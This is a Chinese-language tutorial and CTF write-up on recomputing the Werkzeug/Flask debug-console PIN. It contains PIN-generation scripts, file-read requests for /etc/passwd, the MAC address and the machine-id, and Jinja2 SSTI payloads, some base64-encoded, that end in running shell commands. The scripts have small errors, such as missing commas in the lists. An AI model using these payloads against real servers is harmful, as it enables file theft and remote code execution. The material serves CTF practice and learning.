Flask框架實(shí)現(xiàn)debug模式下計(jì)算pin碼
什么是PIN碼
pin碼也就是flask在開啟debug模式下,進(jìn)行代碼調(diào)試模式的進(jìn)入密碼,需要正確的PIN碼才能進(jìn)入調(diào)試模式
如何生成
這里就列一個了,前面全是獲取值,最后進(jìn)行加密,版本不同區(qū)別也就就是3.6與3.8的MD5加密和sha1加密不同
#生效時間為一周 PIN_TIME = 60 * 60 * 24 * 7 def hash_pin(pin: str) -> str: return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12] _machine_id: t.Optional[t.Union[str, bytes]] = None #獲取機(jī)器號 def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id if _machine_id is not None: return _machine_id def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b"" # machine-id is stable across boots, boot_id is not. for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue if value: #讀取文件進(jìn)行拼接 linux += value break # Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: #繼續(xù)進(jìn)行拼接,這里處理一下只要/docker后的東西 linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass if linux: return linux # On OS X, use ioreg to get the computer's serial number. try: # subprocess may not be available, e.g. Google App Engine # https://github.com/pallets/werkzeug/issues/925 from subprocess import Popen, PIPE dump = Popen( ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE ).communicate()[0] match = re.search(b'"serial-number" = <([^>]+)', dump) if match is not None: return match.group(1) except (OSError, ImportError): pass # On Windows, use winreg to get the machine guid. if sys.platform == "win32": import winreg try: with winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", 0, winreg.KEY_READ | winreg.KEY_WOW64_64KEY, ) as rk: guid: t.Union[str, bytes] guid_type: int guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid") if guid_type == winreg.REG_SZ: return guid.encode("utf-8") return guid except OSError: pass return None _machine_id = _generate() return _machine_id class _ConsoleFrame: """Helper class so that we can reuse the frame console code for the standalone console. """ def __init__(self, namespace: t.Dict[str, t.Any]): self.console = Console(namespace) self.id = 0 def get_pin_and_cookie_name( app: "WSGIApplication", ) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]: """Given an application object this returns a semi-stable 9 digit pin code and a random key. The hope is that this is stable between restarts to not make debugging particularly frustrating. If the pin was forcefully disabled this returns `None`. Second item in the resulting tuple is the cookie name for remembering. """ pin = os.environ.get("WERKZEUG_DEBUG_PIN") rv = None num = None # Pin was explicitly disabled if pin == "off": return None, None # Pin was provided explicitly if pin is not None and pin.replace("-", "").isdigit(): # If there are separators in the pin, return it directly if "-" in pin: rv = pin else: num = pin modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__) username: t.Optional[str] try: # getuser imports the pwd module, which does not exist in Google # App Engine. It may also raise a KeyError if the UID does not # have a username, such as in Docker. username = getpass.getuser() except (ImportError, KeyError): username = None mod = sys.modules.get(modname) # This information only exists to make the cookie unique on the # computer, not as a security feature. probably_public_bits = [ username, modname, getattr(app, "__name__", type(app).__name__), getattr(mod, "__file__", None), ] # This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page. private_bits = [str(uuid.getnode()), get_machine_id()] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num return rv, cookie_name
PIN生成要素
- 1. username,用戶名
- 2. modname,默認(rèn)值為flask.app
- 3. appname,默認(rèn)值為Flask
- 4. moddir,flask庫下app.py的絕對路徑
- 5. uuidnode,當(dāng)前網(wǎng)絡(luò)的mac地址的十進(jìn)制數(shù)
- 6. machine_id,docker機(jī)器id
username
通過getpass.getuser()讀取,通過文件讀取/etc/passwd
modname
通過getattr(mod,“file”,None)讀取,默認(rèn)值為flask.app
appname
通過getattr(app,“name”,type(app).name)讀取,默認(rèn)值為Flask
moddir
當(dāng)前網(wǎng)絡(luò)的mac地址的十進(jìn)制數(shù),通過getattr(mod,“file”,None)讀取實(shí)際應(yīng)用中通過報(bào)錯讀取
uuidnode
通過uuid.getnode()讀取,通過文件/sys/class/net/eth0/address得到16進(jìn)制結(jié)果,轉(zhuǎn)化為10進(jìn)制進(jìn)行計(jì)算
machine_id
每一個機(jī)器都會有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶機(jī)則讀取/proc/self/cgroup,其中第一行的/docker/字符串后面的內(nèi)容作為機(jī)器的id,在非docker環(huán)境下讀取后兩個,非docker環(huán)境三個都需要讀取
/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
PIN生成腳本
官方是通過系統(tǒng)命令獲取相對應(yīng)的值,我們采用讀文件獲取值后放到腳本(也就是官方加密的方法)里進(jìn)行加密,3.6采用MD5加密,3.8采用sha1加密,所以腳本稍有不同
#MD5 import hashlib from itertools import chain probably_public_bits = [ 'flaskweb'# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
#sha1 import hashlib from itertools import chain probably_public_bits = [ 'root'# /etc/passwd 'flask.app',# 默認(rèn)值 'Flask',# 默認(rèn)值 '/usr/local/lib/python3.8/site-packages/flask/app.py' # 報(bào)錯得到 ] private_bits = [ '2485377581187',# /sys/class/net/eth0/address 16進(jìn)制轉(zhuǎn)10進(jìn)制 #machine_id由三個合并(docker就后兩個):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
CTFSHOW 801
按照順序一個一個拿數(shù)據(jù),username為root,modname和appname默認(rèn)
/file?filename=/etc/passwd
file?filename=
通過提示直接報(bào)錯拿到app的絕對路徑
/file?filename=/sys/class/net/eth0/address
拿到uuidnode為2485377582164
最后拿id
file?filename=/proc/sys/kernel/random/boot_idfile?filename=/proc/self/cgroup
拼接的id為653dc458-4634-42b1-9a7a-b22a082e1fce82a63bb7ecca608814cba20ea8f8b92fc00dcbe97347ba1bfc4ccb6ff47ce7dc,扔到3.8腳本中跑得到143-510-975,找到console,輸入密碼
最后輸入命令拿到flag
import osos.popen('cat /flag').read()
[GYCTF2020]FlaskApp
一個編碼一個解碼還有一個hint提示,這個hint提示失敗乃成功之母,右鍵源代碼又發(fā)現(xiàn)<!-- PIN --->
,嘗試/console
頁面也發(fā)現(xiàn)需要pin密碼,到這里可以猜到要利用Flask的Debug模式,在decode頁面隨意輸入值發(fā)現(xiàn)報(bào)錯
@app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "結(jié)果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp)
這里通過render_template_string
造成ssti注入,那么很容易想到通過ssti命令讀取各個文件拿到相應(yīng)的數(shù)據(jù)最后算出PIN
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('文件名','r').read() }}{% endif %}{% endfor %} {{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('文件名').read()}}
讀取/etc/passwd獲取username
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}} e3t7fS5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVsxMDJdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcGVuJ10oJy9ldGMvcGFzc3dkJykucmVhZCgpfX0=
modname和appname仍為固定值flask.app、Flask,通過前面的報(bào)錯也知道了app.py的絕對路徑
/usr/local/lib/python3.7/site-packages/flask/app.py
繼續(xù)找mac值
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}} e3t7fS5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVsxMDJdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcGVuJ10oJy9zeXMvY2xhc3MvbmV0L2V0aDAvYWRkcmVzcycpLnJlYWQoKX19
mac地址轉(zhuǎn)換為十進(jìn)制后:226745935931860,最后找機(jī)器id,這里挺迷惑的,看教程大家都是找到/proc/self/cgroup
里了,我這里找這個文件卻成這樣了
最后通過/etc/machine-id
拿到1408f836b0ca514d796cbf8960e45fa1后通過腳本跑出145-284-488,在console頁面(也可以這樣進(jìn)入)
拿到flag
以上就是Flask框架實(shí)現(xiàn)debug模式下計(jì)算pin碼的詳細(xì)內(nèi)容,更多關(guān)于Flask debug計(jì)算pin碼的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
Python中FastAPI項(xiàng)目使用 Annotated的參數(shù)設(shè)計(jì)的處理方案
FastAPI 是一個非?,F(xiàn)代化和高效的框架,非常適合用于構(gòu)建高性能的 API,FastAPI 是一個用于構(gòu)建 API 的現(xiàn)代、快速(高性能)web 框架,基于 Python 類型提示,這篇文章主要介紹了Python中FastAPI項(xiàng)目使用 Annotated的參數(shù)設(shè)計(jì),需要的朋友可以參考下2024-08-08python3啟動web服務(wù)引發(fā)的一系列問題匯總
由于行內(nèi)交付的機(jī)器已自帶python3 ,沒有采取自行安裝python3,但是運(yùn)行python腳本時報(bào)沒有tornado module,遇到這樣的問題如何處理呢,下面小編給大家介紹下python3啟動web服務(wù)引發(fā)的一系列問題匯總,感興趣的朋友一起看看吧2023-02-02Python數(shù)據(jù)可視化之環(huán)形圖
這篇文章主要介紹了Python數(shù)據(jù)可視化之環(huán)形圖,主要使用兩種不同的方式來可視化環(huán)形圖,并均給出了完整的代碼示例。需要的朋友可以參考一下,希望對你的工作和學(xué)習(xí)有所幫助2022-01-01python re正則匹配網(wǎng)頁中圖片url地址的方法
今天小編就為大家分享一篇python re正則匹配網(wǎng)頁中圖片url地址的方法,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-12-12插入排序_Python與PHP的實(shí)現(xiàn)版(推薦)
下面小編就為大家?guī)硪黄迦肱判騙Python與PHP的實(shí)現(xiàn)版(推薦)。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2017-05-05Python?Math數(shù)學(xué)函數(shù)常數(shù)冪和對數(shù)基礎(chǔ)應(yīng)用實(shí)例
Python中的math模塊是數(shù)學(xué)運(yùn)算的重要工具,提供了豐富的數(shù)學(xué)函數(shù)和常數(shù),本文將深入探討math模塊的功能和用法,使您能夠更好地利用Python進(jìn)行數(shù)學(xué)運(yùn)算2023-12-12